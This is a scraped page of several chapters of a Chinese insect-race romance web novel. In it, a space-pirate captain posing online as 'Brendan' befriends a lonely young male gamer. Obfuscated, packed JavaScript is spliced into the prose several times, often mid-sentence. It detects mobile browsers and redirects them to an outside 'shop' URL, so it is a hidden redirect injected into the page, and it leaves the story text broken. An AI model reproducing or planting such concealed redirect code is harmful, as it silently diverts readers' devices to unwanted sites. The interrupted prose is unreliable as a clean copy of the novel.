RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17018931|194163||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 灰掉。 莱卡约这下真的困惑了。 这是在干什么? ** 哈德森那时真是灵光一闪,又拿到了一张布伦丹的照片。 这张照片是全身照,整体偏正式,布伦丹一身银蓝色正装,站姿笔直,像一柄锋利的剑刃,插在在中央星的一处地标建筑下。 铂金色的头发整齐向后梳着,露出饱满光洁的额头。 布伦丹的视线向下,看上去似乎是臣服的姿态,但低垂的眉眼被阴影遮挡,加上抿住的嘴唇,紧绷的下巴,就像是隐藏着野心的一头猛兽,时刻准备反噬自己的主人。 不过哈德森不管这些,放大他的照片,仔细观察着那张脸。 眼角的小痣,有。 脖子处的,也有。 他的心尖顿时痒痒的,脑子里闪过一个念头。 布伦丹的身上,会不会也有很多小痣? 比如胸口,比如小腹…… 他的思绪正在向下延伸,突然耳边响起了一道声音。 “你在掉血。” 哈德森好像被踩中了尾巴,整个人从椅子上跳了起来,手忙脚乱的在键盘上噼里啪啦打了一串字,光速关掉游戏。 随后他瘦长的身体折叠在椅子上,脸涨得通红,不得不用手扇着风。 居然游戏玩一半把好友放养,还被对方发现,太尴尬了。 对,这是尴尬。 哈德森点开【桃花缘】,先把图片保存下来,然后漫不经心、状似随意的用手指在布伦丹的照片上戳了两下。 一个小桃心从他的手指中冒出。 【哈德森刚刚点赞了布伦丹的照片哦~?】 表示微弱的歉意。 不过他没有真正的发送消息,所以他的歉意不能回复,布伦丹回复的话他得继续聊天,那就是越界了。 他的双手抱住膝盖,从双腿的缝隙中看着光脑,不知道在等什么。 过了一会儿,论坛和短信同时响起提示音。 【似风:林中云雀大人您好,我有个问题想咨询。】 【阿喵:你这几天怎么样?想到什么出路了吗?】 哈德森先点开自己的200星币兼职。 付费用户的优先级高。 【林中云雀:我在,你直接问就行。】 13.感情高手 13、 【似风:上次您的建议是要多了解彼此,通过时间验证,但咨询的雌虫想要尽快推进感情进展,以一种比较暧昧的方式表白了心意,没有得到反馈,会是什么原因?表白的后续是,雄虫也没有生气,给他提了一个小要求,随后很快离开。】 哈德森的心脏还在砰砰乱跳,脸上持续散发着热意,所以看到这一行文字,脑子里直接构想出一对暧昧期拉扯的恩爱小情侣。 进展真的好快啊! 难道说正常雄虫都是一星期认识,半个月表白,然后一个多月就结婚? 他不由联想到了他的雄父特里斯,先发了条信息。 【林中云雀:可以方便问一下,咨询对象和那位雄虫的年纪吗?】 【似风:雄虫的隐私不方便透露,咨询对象的年龄25岁,雄虫比他年纪小。】 哈德森瞬间精神了。 25岁! 是一对很年轻的小情侣啊! 基本不可能是再婚了,或许还是彼此的初恋。 哈德森虽然对雌虫不感兴趣,但他还是很喜欢看到一些美好的事物。 追求者每走一步都怀着忐忑的心情找专业人士咨询,被追求者羞涩的躲闪,同时又会主动联系,就像在跳一场你追我赶,洋溢着青春活力与怦然心动的舞蹈。 他这种宅雄就不可能拥有这样的感情。 【林中云雀:原来如此。他没有作出反应却提出要求,就要根据要求的内容来进行下一步的举动。最好不要再做类似的试探,表白应该是感情基础建立后,水到渠成的确认,而不是推进关系的手段。对方年纪小的话,应该就是害羞。但害羞不等于可以随便进攻,或许他只是羞于表达自己的排斥抗拒。】 编辑完这一段,哈德森觉得自己真是没白逛论坛,完全就是一个满级的感情高手。 可惜了,也正是因为他对感情看得太透彻,所以没办法与雌虫发展感情。 【似风:感谢您的建议。】 200星币到手,哈德森才回头和自己的好友开始闲聊。 【哈特梆硬:没想到吧,我现在可是进入了事业上升期。】 【阿喵:你这种门都不愿意出的,能有什么事业?】 【哈特梆硬:你别管。反正目前经济情况良好,很快就能存下一些钱。】 【阿喵:行,看来我也不用担心你一个人在家里饿死了。】 【阿喵:对了,还有一件事,我这边有个条件不错的雌虫,你加一下好友吧。】 【阿喵:你先别急着拒绝我,我给你一个准信,那个雌虫是金发,长相不错哦。】 哈德森看到这几个词,内心却没有任何触动。 作为他为数不多的好友,阿喵肯定知道他的很多臭毛病,包括但不限于,他对金发的执着。 【哈特梆硬:不是染的吧?】 【阿喵:不是,我把他照片发给你,你看看。】 【阿喵:「图片」】 哈德森点开图片。 一个精心打扮过的金发帅哥,五官看不出任何进攻性,皮肤光滑白皙,正用一种温和顺从的眼神注视着镜头。 换做以前,哈德森能给他打7分,但现在…… 【哈特梆硬:一般。】 【阿喵:你没事吧?这是你最喜欢的类型啊。】 【哈特梆硬:就像白开水一样没有味道,没感觉。雌虫的脸应该有一些锐利的锋芒,不然感觉就像在和雄虫处对象。】 【阿喵:……】 阿喵发起了语音通话。 哈德森光速挂断。 他知道阿喵百分百要骂他了,赶忙编辑了一串信息,表明自己不是故意挑刺儿。 【哈特梆硬:我可没说瞎话,我这段时间遇到一个雌虫,长相就很符合要求。】 【阿喵:????细说。】 【哈特梆硬:也没什么可说的,就我现在干陪玩,他是单主,长相超赞哦,声音也好听,还在一家大企业上班。】 【哈特梆硬:你知道他打游戏多么有天赋吗?我们配合特别默契,我觉得都可以组队打职业了。】 【阿喵:等等。】 【阿喵:你喜欢他?】 哈德森不以为然,他又不是恋爱脑,雌虫不管做什么都当成想恋爱了。 【哈特梆硬:我们才认识几天啊?怎么可能。我们是纯粹的战斗友谊好吗?】 【哈特梆硬:而且我是慢热型,不认识一两年 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17027715|194163||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 时间,不可能喜欢的。】 【阿喵:恋爱都没谈过,就给自己上设定了。】 不过阿喵没有继续质疑这一点。 他能和哈德森处成朋友,也用了很长很长的时间,知道这小子很难搞。 这次介绍对象又没有收获,阿喵准备稍微扩大一下渠道。于是他也就忘了询问,哈德森是从哪个渠道认识的这位雌虫单主。 而哈德森这边,闲聊过后,他又开始了新一轮的游戏模式。 只是单排了几把,不管赢还是输,他总觉得少了点儿什么。 他伸了个懒腰,看到屋外夜色渐深,天空中点点星光闪烁,璀璨的星云散发着迷人的光芒。 他想起了布伦丹,好像在银河集团工作。 或许可以问问他下班时间,这样就知道什么时候能一起玩游戏了? 哈德森打开【桃花缘】平台,但到了发送的时候,又没有点下去。 ** 莱卡约咨询的结果有些笼统宽泛,不过他的问题也很模糊,自然也得不到准确的回答。 性格如果害羞的话,一些负面的情绪也不会轻易表现出来。 他想到哈德森随便找了一个蹩脚的理由仓促结束游戏。 或许那个时候就有些心里不舒服,只是不好意思发泄。 确实是他急了。 想到哈德森用那双黑葡萄一样的大眼睛瞪着屏幕,然后憋屈地找了一个借口,他想,以他这种性格,如果见了面,一定会忍不住逗哈德森的。 这可真是太糟了…… 他还得扮演一个完美雌虫,要控制。 莱卡约着手准备给自己新创造的“布伦丹”编出一个合理的身份,以便一段时间后进入中央星。 至于猩红号,他其实并不担心。 只要在中央星的势力范围,再嚣张跋扈的星盗也必须夹起尾巴。 更别提猩红号早就在中央星通缉令上以最高等级挂着悬赏。 他们敢冒险前来中央星附近,大概率是为了做交易。 和谁做交易,以及他们的目的…… 莱卡约大概心里有数。 他只是担心另一点。 星盗如何知道突破基因等级的办法? 14.友情提醒 14、 莱卡约放缓了攻略哈德森的进度,但伪造身份的进度没有停下。 从出生证明到家庭成员,就读的学校,常住地址,工作等等。 得益于这届政府决定给D级雌虫建立档案,每天都有一些新的资料入库,他只需要在访问服务器时稍加伪装,就能在里面添加一个新的雌虫。 D级雌虫的数量差不多占据了整个种族的六分之一,想要全部建档,对于数据库的访问量极大,所以黑进去的难度不高。 很快,一个近乎真实的“布伦丹”就出现在了中央星的档案里。 接下来,就等他选好日期,再挑选一个“幸运”的航班潜藏其中,就能混进中央星。 中央星在这方面的安保工作确实很差劲。 几天时间,一切都风平浪静。 连猩红号都没有继续靠近这颗小行星,只是绕着轨道航行。 哈德森每天一大早就找他玩游戏。 他们几乎把市面上所有热门游戏都尝试了一遍,玩得都不错。 莱卡约没有进行新一轮的试探,只是尝试了解对方。 他很快知道哈德森十几岁就开始独自租房生活,没有工作,社交圈狭窄,朋友很少,还和家里吵了一架。 换而言之,他如果失踪,可能一两个月都不会有谁发现。 “你居然是独居?雄虫独居有些危险,你家里能放心吗?” 莱卡约提醒道。 哪个家庭会让自己未成年的雄虫小孩在外面独自生活。 中央星的治安再好,总有一些心怀鬼胎的雌虫,会对落单的雄虫下手。 法律永远只能约束守法的公民。 哈德森茫然地说: “什么危险?我没有遇到过。” 莱卡约没再继续这个话题,但心里惦记着这件事。 等那天结束后,他专门查了下十二区近十年的犯罪率。 “十二区犯罪率和其他地区持平,雌虫骚扰案件发生频率略高。哪怕不出门,也有很多偷拍跟踪、上门滋扰的行为。难道说,有谁在暗中保护着他?” 这个猜测明显指向了一个糟糕的情况。 就算哈德森本人很好攻略,但到了真正见面的时候,事情也会变得复杂。 他现在最优的选择是更换攻略对象。 莱卡约意识到了这一点,却没有深思下去。 脑海里反倒被一个念头占据着。 那个声音轻飘飘,总是透着不自信,还经常自闭的小雄虫,完全就是一个没有长大的小孩子。 或许他可以把这个雄虫,塑造成自己理想的样子,一步步引导着他走向成熟。 这个念头出现后不久,就被莱卡约自己否定。 “不不不,我可没有养成的兴趣。我已经想好了,最完美的办法就是随便找个雄虫借种,万事大吉。” 他的两条长腿交叉着搭在桌子上,继续阅读《怀孕宝典》。 过了一会儿,他的手下敲门进来,说: “老大,猩红号的舰长……想要见你。” 莱卡约合上书,说: “我是什么万人迷大明星吗,怎么轮番来找我?你回他,明天这个时间点可以,我有空。” 他的手下小声说: “已经在门外了。” 另一道沙哑的声音也同时响起。 “明天?但我今天就急着见大明星莱卡约呢。” 莱卡约挑眉,毫不客气地指出: “我看你不是急着见我,是想给我一个下马威吧,阿历克斯。” 阿历克斯走进舰长室,拉了张椅子坐下。 他的身高有两米三,身上交错遍布着伤疤,哪怕坐下,身躯都像一座庞大的山峦,充满着压迫感。 S+级的雌虫,年龄102岁,在刀口舔血的星盗里,算少有的长寿。 并且他的状态一直不错,狂化病始终维持在可控的范围内。 阿历克斯说: “下马威?莱卡约,我们都是星盗,每天都在做犯法的事情,只有你还在意什么进门的礼节,简直就像秩序敏感期的小孩子。不过你确实年纪很小,也正常吧。” 莱卡约微笑着说: “或许我只是看着年轻呢。” 作为猩红号的舰长,阿历克斯不喜欢弯弯绕绕,直接说: “我听说你黑进了中央星的官方服务器,做个交易吧,我可以给你想要的报酬。” 莱卡约翘在桌子上的腿也没收回,说: “哦?只说这些,我可没办法点头啊。” 阿历克斯的语气有些阴沉: “猩红号上出了一个叛徒,他偷走了我们非常非常重要的东西。” ** 哈德森的门铃突然响起。 他用念力感知门外是谁,发现是熟悉的雄虫。 特里斯,他的雄父。 但一开门,特里斯说的话就让哈德森心烦: “你看看你这什么样子,几天没出门了?” 哈德森就像嘴里含着一根引信,一张嘴就要爆炸: “你不是已经不要我了吗,来干什么?埃尔又要孕检了?” 特里斯额头冒出几根青筋: “我来看你饿没饿死!” 听出雄父语气里的关心,哈德森掐断了后面的不孝发言。 “没饿死,我有工作。” 特里斯对他的回答充满了质疑: “你?你连大门都没踏出过一次,能有什么工作?” 哈德森闷闷的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17031293|194163||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 说: “很好的工作,我很喜欢!我还有接近一万星币的存款,很快就能提出来。” 特里斯立刻警惕起来。 一万星币,以B级雄虫的能力,工作一周完全可以攒下,但他知道自己的小孩是什么样子,八成做不到。 “你不会是被诈骗了吧?我要看你的余额。” 哈德森不情不愿地点开【桃花缘】平台,给他看自己即将达到提现门槛的余额。 9322星*币*。 都是他这段时间做任务攒下的。 特里斯拿过他的光脑研究了几分钟,很快气笑了: “你好好看看这是什么?” 哈德森梗着脖子说: “这是我攒的钱。” 特里斯点开提现界面右上角极其不起眼的小字,指着其中一行字说: “你念给我听!” “……任务领取的奖励为平台代币,可使用星*币*享受抵扣优惠,不能作为真实货币使用。提现规则为,将星*币*转为现金红包发放,兑换比例为1000:1……” 哈德森越说声音越小。 特里斯在他后背上拍了一下,催促他: “这就是你挣钱的渠道?被骗了都不知道,你这性子,别人说什么信什么,还想要养活自己?听我的,我这边有一个未婚的雌虫,差不多满足你的要求,你收拾打扮一下,和我出门见他。” 哈德森一动不动,倔得像一头牛。 “我不。” 特里斯使劲推了他两把,完全没推动,怒气值都快爆表了。 “你到底什么时候能让我省省心?从出生起就是这样麻烦,我费了多少心血才让你能平安健康……” 哈德森听到他说自己“麻烦”,心里难受极了,说: “你让我结婚,不就是想把我赶出去,让我彻底离开你的家,你就不用再管着我死活了。我早就走了!你不用再来赶我!” 他反手将特里斯推出门,沮丧的站在原地。 门外响起了特里斯的声音。 “我是……在你门缝里塞了点钱,你记得拿。” 说完,就缓缓离开。 哈德森看向那个曾经给了他希望的平台。 【桃花缘】。 其实从一开始提现总是不顺利,他就有所察觉的。 可他为什么每天还在勤勤恳恳的做着任务? “烦死了。” 他想点击卸载,看到布伦丹的头像,鬼使神差的发送了一条信息。 【哈德森:上号。】 这不是他们平常玩游戏的时间,但布伦丹很快回复,依旧是他想要的回答。 【布伦丹:好的。你想玩什么?】 【哈德森:大逃杀。】 15.倾诉交流 15、 进了游戏后,哈德森一言不发,只是冲上去不停的找人干,连输赢都抛之脑后。 布伦丹很快察觉到了不对,问道: “怎么了?你今天心情不太好。” 哈德森想说没什么,可话却从嘴边溜了出来: “布伦丹,我今天又和我雄父吵架了,我不知道为什么会变成这样,明明我不想和他吵。” 大概因为他们在现实里并没有交集,布伦丹也不认识他的雄父,所以他有了一点点表达的冲动。 布伦丹没有直接问他原因,反倒先说了自己的情况。 “我以前也经常和我的家里人吵架,都这样的,正常。” 如果对面纠缠着问个没完没了,哈德森刚萌生的倾诉欲很快就会消失,自己默默消化。 偏偏布伦丹的话语里没有透出任何探究他痛苦的意味,也没有指责,只是告诉他,这种事情在谁身上都会发生。 哈德森沮丧的情绪似乎被一只温暖的手稳稳托住,他继续说: “不一样,你和家里吵架会离家出走吗?” 耳机那边沉默了半分钟,随后回答道: “会,而且已经做了。” 哈德森接着问: “那你会觉得,你的家再也回不去了吗?” 布伦丹说: “这一点我没有。我只是觉得那个家,有些窒息。” 哈德森也是第一次听他说起自己的情况,多嘴问了句: “你的雌父和雄父感情不合吗?你要是不想说就不说。” 布伦丹坦诚地说: “不,恰恰相反,他们的感情是公认的好。只有我不舒服。” 哈德森犹豫了片刻,问: “难道你、你嫉妒他们?” 布伦丹“噗嗤”一声笑了出来: “哈哈哈,你真的很有趣,我很多时候搞不懂你的思路,但很好玩。我不可能嫉妒,至于为什么在家里不舒服,理由……” 哈德森从他短暂的停顿里听出了他没有倾诉的欲望,就直接说回了自己的事。 “好。我的原因很简单,就是接受不了雄父快速再婚。你应该知道吧,幼崽会继承一部分双亲的记忆。在我的记忆里,我的雄父非常爱雌父,那种记忆极其深刻,甚至从我出生起,我就更黏雌父一些。” 在遥远的过去,虫族里的雌虫因为嗜血好杀,很少抚养幼崽,所以会将一部分捕食生存的记忆传承给下一代。 但随着时代发展,生存的需要下降后,这种传承就变成了双亲心里重要的记忆,有了一定的随机性。 而雄虫的蛋一般都是雄父用念力和气息孵化而出,再加上雌虫患有狂化病,接触时会被动吸取雄虫幼崽的念力,给幼崽造成一定的精神负担。 所以绝大多数的雄虫幼崽都会更喜欢雄父。 布伦丹沉默了,一句话都没说。 这件事哈德森谁都没说过。 就算是他的雄父特里斯都不知道,为什么自己孵化的幼崽更喜欢雌父,为什么他的再婚会让哈德森如此愤怒。 现在隔着一层网络,哈德森好像有了一层天然的护盾,能把真实的想法说出来。 “为什么会在雌父去世后随随便便开启一段新的关系?难道之前的感情都是假的吗?我理解不了。” “这也……” 布伦丹似乎想说什么,哈德森也同时开口。 “我只和你说过,不要……” 两人也同时停下,哈德森问他: “你刚刚要说什么?” 耳机里迟迟没有响起声音。 就在哈德森觉得,自己是不是应该继续说下去时,突然听到一声极其平淡的话。 “假如你在出生时也获得了一部分雌父的回忆。但很可惜,你没有继承到他们相爱时的记忆,你只记得,你的雌父在结婚前是一个洒脱随意的雌虫。他给了你自由的回忆,但让你看到的,是一个被困在婚姻牢笼里的雌虫。你会怎样?” 同样是传承了一部分上一辈的记忆,同样是记忆无法与现实的感受匹配,同样选择了离开家。 哈德森的心脏瞬间被击中,终于有了一种被理解被认同的感觉,想和布伦丹举办一场“小苦瓜”会谈,但布伦丹接着就说: “我刚才形容的场景,和你的是不是很接近?这在每个家庭里都有出现的,因为谁都不是静止的个体,会随着时间慢慢重塑自己。” “形容?” 布伦丹用着很奇怪的句式,似乎他刚才说的主人公,并不是他自己。 但哈德森隐约感受到,布伦丹平缓的语调里,藏着一些汹涌的暗流 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17036047|194163||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 那一定是真实的感受。 布伦丹轻笑一声: “这是很常见很经典的心理问题,在很多专业书籍里都写着。上面是我看到的例子。” 哈德森没有追问,他的边界感不只是要求别人,他同样不会随意踏入别人内心的领地。 于是他小声说: “能传承下去的,明明都是极深刻、难以磨灭的记忆,为什么要变啊。” 布伦丹反问道: “你还记得你在大逃杀里第一次胜利的感受吗?在赢的瞬间,记忆是最深刻的,如果那个时候去孕育孩子,说不定你传给他的就是大逃杀的经验值。可之后总会忘记,我们就是这样的生物。” 哈德森疑惑地说: “我记得啊。” 布伦丹又一次陷入了沉默,哈德森以为他不相信自己,把何年何月,他拿着什么枪,用什么战术取得了胜利都说了一遍。 布伦丹许久后才说: “但你不像是能记住的样子,我的意思是,你看起来……性格比较随意。” 哈德森的脸顿时涨得通红,质问道: “你刚才想说我笨?对吧!” 布伦丹连声道歉: “不不不,我只是觉得我不够了解你,抱歉。” 哈德森还有些气恼,布伦丹继续解释: “你记得你上一次大扫除是什么时候吗?” “……” “你记得你收拾起来的换季衣服放在哪里了吗?” “……肯定丢不了,记住这些干什么?” 布伦丹笑了一声: “所以我认为你的性格随意,不会把一些小事记在心上。但你对自己喜欢的事物非常上心,对这些记忆也很珍视,你一定不会变成你的雄父那样。” 哈德森心情好转了很多。 他完全没有想到,一个刚认识不到十天的雌虫,能和他有如此之深的共鸣。 就像一块形状很奇怪的拼图,突然找到了最契合的另一半。 心脏中缓缓流淌出温热的血液,将他的孤独全部驱赶了出去。 砰砰。 他胸口有些胀胀的,将双腿抱在怀里,心想: 能遇到布伦丹真好啊。 他在心里悄悄把布伦丹画进了好朋友范围里。 16.做个交易 16、 哈德森并没有意识到,那一段似是而非的话,对于“布伦丹”本人意味着什么。 莱卡约知道。 说出口的那一瞬间,他立刻意识到了不对。 这是潜藏在他内心最深处的秘密,怎么可能随随便便说给一个刚认识没几天的人听? 哈德森,真的只是普通的C级雄虫吗? 他快速回忆这一整天的经历,想要找到破绽。 几个小时前—— “叛徒?” 莱卡约嘴角带着笑意,根本没有流露出任何惧怕的情绪,嘲讽道, “阿历克斯,你们可是星盗,每天都在做犯法的事情,还要讲究什么规矩吗?” 同样的话原数奉回。 他不是在刻意挑衅,这是交易的一个环节。 交易不仅局限于发生的那个时刻。 聪明人会在交易开始前就通过各种方式达成目的。 杰森最开始的挑衅,既展示了自己实力,又对莱卡约进行了心理施压。还要猩红号的逼近,阿历克斯亲自前来,不经允许擅闯他的舰长室等等。 压迫。 目的是让他退缩,心生恐惧,随后不敢报出更高的价格。 所以他必须展示出同样的强硬姿态。 果然,面对他的话,阿历克斯脸色难看,但没有当场发作,只是说: “这是我们星舰内部的事情。” 莱卡约笑着说: “我什么都不清楚,怎么能插手你们内部的事情,你说是吧。” 阿历克斯眼神变得冰冷凶恶,一股强烈的杀意锁定在莱卡约身上,空气都凝固了下来。 莱卡约翻着手上那本闲书,身体连防御的姿态都没有摆出来。 阿历克斯站起身,在舰长操作台上点了几下,星舰周围的监控屏幕弹出。 外面十几个陌生的高大雌虫正在随意的闲逛着,视线时不时抬头看向血蝎子号。 进一步的威胁。 莱卡约无动于衷。 但阿历克斯认为目的已经达成,开口道: “你黑入中央星服务器的方法,我很好奇。” “好奇心是创造力的源泉啊,你现在已经有动力了,只需要一点脑子就行。” 莱卡约依旧是那副嘴脸,把《怀孕宝典》又翻了一页。 阿历克斯的额头冒出几根青筋,隐约有虫甲在皮肤表面凝结。 虫甲成型前一秒,他发现莱卡约依旧没有任何反应,克制住了自己。 谁都不知道莱卡约的实力究竟如何,底牌有什么,只知道他在成为星盗的这六年里从来没输过。 他虽然对自己很有信心,但这里是颗小行星,目标太大,如果闹出什么动静被中央星发现了异常,他的目的也无法达成。 “做个交易如何?你只需要给我们一个黑进中央星的身份,血蝎子号上剩下所有的货我都可以包了,还可以额外给你十万星币作为辛苦费,就当认识个朋友。很划算的交易。” 他似乎做了退让。 莱卡约合上书,问: “黑进中央星很简单啊,为什么要我帮你们?” 疑惑的语气配上戏谑的眼神,阿历克斯又有一股火气冒了上来,说: “我们的雌虫需要在中央星停留一段时间,寻找目标。如果完全没有身份证明,很容易暴露。” 莱卡约这才把脚从桌子上放了下来,说: “寻找目标?没关系,你可以委托我来帮你找,我很擅长的,正好我要去中央星一趟办点儿大事。你们的雌虫一脸凶样,哪怕有伪造的身份也很容易被查。不像我,英俊潇洒,模样讨喜。” “你去做什么?” 莱卡约晃了晃手中的书: “找个老公谈恋爱生孩子。” 阿历克斯一拳砸向星舰的操作台,恶狠狠地说: “莱卡约!你不要不识好歹,你星舰上……” 他的话没有继续下去,视线落在了另一侧。 莱卡约的手掌托着他的拳头,看上去没用什么力气,他却无法再向前一点。 “哎呦,小心点儿,这是我的宝贝,砸坏可就麻烦了。” 阿历克斯冷笑一声,收回右手,语气不善的说: “我当然可以委托你。但你就不担心,等你走后你的小弟们出什么情况吗?” 莱卡约拍了拍手: “我可太担心我的宝贝出问题了。所以他们过两天就走,我暂时留在这里。怎么,你的猩红号不会停在外面专门狙击我们吧。” 阿历克斯上下打量着他,阴鸷的眼神中藏着些寒意,随后说道: “那我该怎么确定,你不会偷偷溜了?把你伪造的身份告诉我,如果你敢暗中做什么手脚……” 莱卡约耸肩,答应的很干脆: “当然可以。” “好。交易详细的内容之后再说。” 莱卡约目送他离开后,晃了晃手腕。 猩红号只要是冲着他来的,血蝎子号上的小弟们就很容易成 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17040197|194163||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 为拿捏他的软肋,他要想办法把血蝎子号平安送出去,最好还要摸清对面的目的。 不管是低头顺从还是拼死抵抗都不行。 一开始逃跑更不行,只要露怯了,后面被猩红号追上,装都装不了。那时处在茫茫太空,中央星也没法快速定位,非常危险。 好歹是应付过去了,之后的事情就能随机应变。 莱卡约精神稍微放松了一些,然后就收到了哈德森的消息。 这是哈德森第一次在这个时间找他玩。 看来已经慢慢离不开他了。 听了半天阿历克斯充满着杀气与恶意的沙哑声音,他也得用哈德森中气不足的声音清洗一下耳朵。 只是玩了没一会儿,他发现哈德森不太对劲,就问了一下情况。 紧接着就听到一声可怜兮兮的声音: “布伦丹,我今天又和我雄父吵架了……” 莱卡约脑海里瞬间出现了一副画面,黑色蓬松卷发的雄虫用一双大眼睛看着他,就像被淋湿的小猫小狗,第一时间去找自己信任的对象寻求帮助。 他安慰着。 但越来越不对劲。 当听到哈德森因为受到雄父记忆的影响,而离家出走,他的心脏有些发紧。 原本只是打算安慰几句结束。 可偏偏哈德森说了一句: “我只和你说过。” 这个笨蛋雄虫,居然这么信任一个素未谋面的陌生雌虫,知不知道自己这样很容易被骗。 或许是他刚才和阿历克斯勾心斗角消耗了太多精神,或许是哈德森的语气太过真挚柔软,或许是今天天气太糟,不管什么原因。 总之,他说了出来。 不过依旧做了些修饰。 但为什么会说出来? 没一会儿,他的光脑收到一条信息。 【哈德森:你的通讯号码是多少啊,我想用那个联系你,把这个平台卸载了。】 【布伦丹:号码是128xxxxxxx,你为什么突然要卸载?】 【哈德森:它诈骗!!!说是可以提现,结果全是套路!我做了好多任务,什么都没拿到,我生气了!】 【布伦丹:……所以你最开始发的那一串意义不明的内容,是在做任务?】 【哈德森:哎呀,嘿嘿嘿。我不记得了,我记性很差的。】 莱卡约揉了揉眉心,嘴角控制不住的上扬。 他想通了原因。 哈德森没有那么敏锐,一定听不出来。 17.完美朋友 17、 哈德森添加了布伦丹后,顺手点开他的账号看了看。 现在已经顺手到产生惯性动作了。 布伦丹的账号名称就叫“布伦丹”,应该是平常工作用的账号,里面都是转发的工作内容,银河集团的年度报告等等,没有太多与他自己相关的信息。 哈德森还以为布伦丹这种精英雌虫,账号里会有几张工作时的合影,结果翻到最后都没找到,稍微有些遗憾。 【哈特梆硬:OK了,明天再约。】 【布伦丹:好的。】 【布伦丹:我想多嘴说一句。我从你的话语中感受出,你内心很在意你的雄父。所以为了你自己,你也可以试着和你的雄父联系一下?他是担心你,才会经常来看你的。】 哈德森看着这行字,不知道自己该怎么表达出他的困境。 布伦丹还不知道,特里斯已经断了他的经济来源,想要让他找一个雌虫结婚。 这个问题没有解决,那他们只要联系,就一定会再次争吵。 哈德森开始编辑。 ——我该怎么和雄父沟通?他总是逼迫我按照他的想法生活,我根本做不到。 删除。 布伦丹不知道他们父子俩的具体情况,解决不了问题啊。 除非他找到一个雌虫…… 哈德森几根手指点击着屏幕,编辑出一条新的内容。 ——我的雄父希望我找个雌虫结婚,不然就会一直叨叨我,你能暂时扮演一下这个角色…… 还没输入完,他就快速删除,心脏扑通扑通的乱跳,整张脸涨得通红。 老天,他在干什么,太奇怪了! 布伦丹是他的好朋友啊。 所有文字消失后,这个念头似乎也同样从他脑子里删掉了。 他就像使用了一种最原始的屏蔽代码,让“布伦丹”和“结婚”这个词语之间的联系无法显示。 但是连接依旧在建立。 懵懂的感受在他心底最深处,意识不到的角落里生根发芽。 【哈特梆硬:哦,好的。】 而此时他只是松了口气,偷偷庆幸着: 太险了,差一点儿就说出一些没情商的话,还好他一直通过兼职工作锻炼沟通的艺术,否则这个时候一定会出丑。 【布伦丹:我不是想命令你做什么,我只是不希望你在犹豫中伤心。尝试着主动一些,哪怕没有得到希望的反馈,至少你不会因为自己没做什么而后悔。】 【哈特梆硬:我知道,我试试。】 【布伦丹:加油。】 哈德森给特里斯发了条消息。 【哈特梆硬:抱歉,我不该冲你发脾气。】 特里斯立刻拨打了他的通讯。 他依旧是下意识挂断,随后想起布伦丹的话,别别扭扭的主动拨了回去。 他以为自己依旧会听到絮絮叨叨地指责,可是特里斯却对他说: “对不起,哈德森,这是我的错。你离开家时还那么小,是我没有给你足够的成长空间,是我忽视了你的需求,却要求你必须按照我的想法生活。你在我看不到的地方吃了很多苦,也改变了很多,我却还是以前那样……” 哈德森胸口泛着酸,只是闷闷的“哦”了一声。 原来特里斯知道,不过都过去了,说这些也没用。 他们聊了一会儿,特里斯说: “我以后不会再用生活费逼迫你了,你做自己想做的事。” 哈德森思考了片刻,说: “不用,我也长大了,有很多办法养活自己。等我哪天走投无路的时候,再找你帮忙吧。” 挂断通讯后,哈德森第一次有种说不出的开心,一种小小的成就感填满了心脏。 横在他和雄父之间的矛盾解决了一点,之后他们可以平和的聊天相处,不再剑拔弩张。 将来可能还会有新的问题,但眼前的问题至少解开了。 他迫不及待地想要分享给布伦丹。 【哈特梆硬:顺利结束。「得意笑脸」】 【布伦丹:厉害。介意给我分享一下经过吗?】 